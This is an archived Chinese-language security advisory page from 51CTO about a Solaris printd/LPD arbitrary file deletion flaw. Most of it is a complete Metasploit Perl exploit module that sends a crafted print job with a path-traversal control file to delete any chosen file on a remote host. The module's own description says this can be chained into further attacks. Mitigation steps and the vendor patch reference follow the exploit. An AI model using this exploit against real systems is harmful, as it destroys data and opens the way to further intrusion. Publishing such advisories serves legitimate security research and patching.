频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

Sun Solaris Printd任意文件删除漏洞

作者: 出处:51CTO.COM  (  ) 砖  (  ) 好  评论 ( ) 条  进入论坛
更新时间:2005-08-23 10:30
关 键 词:漏洞  Sun  Solaris
阅读提示:设计错误


信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

存在本地文件包含漏洞

攻击类型:

本地或远程攻击

发布日期:

2005-08-22

更新日期:

2005-08-22

受影响系统:

Sun Solaris 9.0_x86 Update 2
Sun Solaris 9.0_x86
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 10_x86
Sun Solaris 10.0

安全系统:

漏洞报告人:

H D Moore (hdm@metasploit.com

漏洞描述:

BUGTRAQ  ID: 14510
Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。
由于"printd"守护程序中的安全漏洞,本地或远程非特权用户可以删除系统中的任意文件。

    
测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::solaris_lpd_unlink;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name'        => 'Solaris LPD Arbitrary File Delete',
'Version'    => '$Revision: 1.6 $',
'Authors'    =>
[
'H D Moore ',
'Optyx '
],
'Arch'        => [ ],
'OS'        => [ 'solaris' ],
'UserOpts'  =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
'RPATH' => [1, 'DATA', 'The remote path name to delete'],
},
'Description'  => Pex::Text::Freeform(qq{
This module uses a vulnerability in the Solaris line printer daemon
to delete arbitrary files on an affected system. This can be used to exploit
the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
}),
'Refs'  =>
[
['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
],
'DefaultTarget' => 0,
'Targets' => [['No Target Needed']],
'Keys'  => ['lpd'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $res;
# We use one connection to configure the spool directory
my $s = Msf::Socket::Tcp->new
(
'PeerAddr'  => $target_host,
'PeerPort'  => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL'       => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
# Send a job request that will trigger the cascade adaptor (thanks Dino!)
$s->Send("\x02"."metasploit:framework\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our job request command");
return;
}
# The job ID is squashed down to three decimal digits
my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));
# Create a simple control file...
my $control = "Hmetasploit\nPr00t\n";
# Theoretically, we could delete multiple files at once, however
# the lp daemon will append garbage from memory to the path name
# if we don't stick a null byte after the path. Unfortunately, this
# null byte will prevent the parser from processing the other paths.
$control .= "U".("../" x 10)."$target_path\x00\n";
my $dataf = "http://metasploit.com/\n";
$self->PrintLine("[*] Sending the malicious cascaded job request...");
if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) ||
! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf)  ||
0
) { $s->Close; return }
$self->PrintLine('');
$self->PrintLine("[*] Successfully deleted $target_path >:-]");
return;
}
sub SendFile {
my $self = shift;
my $sock = shift;
my $type = shift;
my $name = shift;
my $data = shift;
$sock->Send(chr($type) .length($data). " $name\n");
my $res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file command ($name)");
return;
}
$sock->Send($data);
$sock->Send("\x00");
$res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file data ($name)");
return;
}
$self->PrintLine(sprintf("[*]     Uploaded %.4d bytes >> $name", length($data)));
return 1;
}
1;


解决方法:

临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
选项1:

临时重新命名以下"printd"守护程序所使用的文件:
/usr/lib/print/bsd-adaptor/bsd_cascade.so.1
注意:重新命名这个文件会导致配置为使用级联后台打印程序的系统无法向配置的远程主机发送打印请求。
选项2:

通过以下步骤禁用BSD打印协议转换程序(in.lpd(1M)):

对于Solaris 10之前系统:

1. 编辑"/etc/inetd.conf"文件,通过在行首添加“#”标注出以下行,如下所示:
#printer stream tcp6 nowait root /usr/lib/print/in.lpd in.lpd
2. 发送挂起信号SIGHUP要求inetd(1M)进程重新读取新修改的“/etc/inetd.conf”文件:
# /usr/bin/pkill -HUP inetd
对于运行Solaris 10或更高版本的系统,执行以下命令:
# svcadm disable svc:/application/print/rfc1179
厂商补丁:
Sun
---
Sun已经为此发布了一个安全公告(Sun-Alert-101842)以及相应补丁:
Sun-Alert-101842:Security Vulnerability in The "printd" Daemon
链接:http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-101842-1

发表
查看
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
订阅技术快讯
电子杂志下载
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
名称:Vista精品应用黄皮书
简介:《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版,是将里面的内容做了提取,便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册,并且也是第一本
名称:2006中国IT论坛精品集合
简介:本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛(网站)。制作本书的目的是为了集中大家的优势资源,将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
关键字阅读
频道精选
主编信箱 热线:010-66476606 告诉我们您想看的:专题 文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有